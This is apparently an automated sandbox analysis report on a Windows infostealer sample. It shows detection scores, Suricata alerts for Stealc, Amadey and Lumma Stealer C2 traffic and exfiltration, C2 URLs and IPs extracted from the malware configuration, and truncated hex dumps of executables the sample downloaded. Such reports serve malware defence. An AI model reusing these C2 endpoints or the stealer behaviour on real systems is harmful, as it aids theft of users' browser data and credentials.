Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	ReversingLabs: Detection: 47%

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 47%
Source: file.exe	Virustotal: Detection: 53%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CAD6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

1_2_6CAD6C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50110 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:50111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50112 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50119 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50123 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50126 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50127 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50129 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50134 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000001.00000002.2672137017.000000006CCFF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000001.00000002.2672137017.000000006CCFF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 43MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49726 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49726 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49726
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49726 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49726
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49726 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50120 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50121
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50124 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50127 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50135 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50134 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50135 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50134 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50123 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50123 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50126 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50126 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 09:07:18 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 09:07:39 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 09:07:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 09:07:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 09:07:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 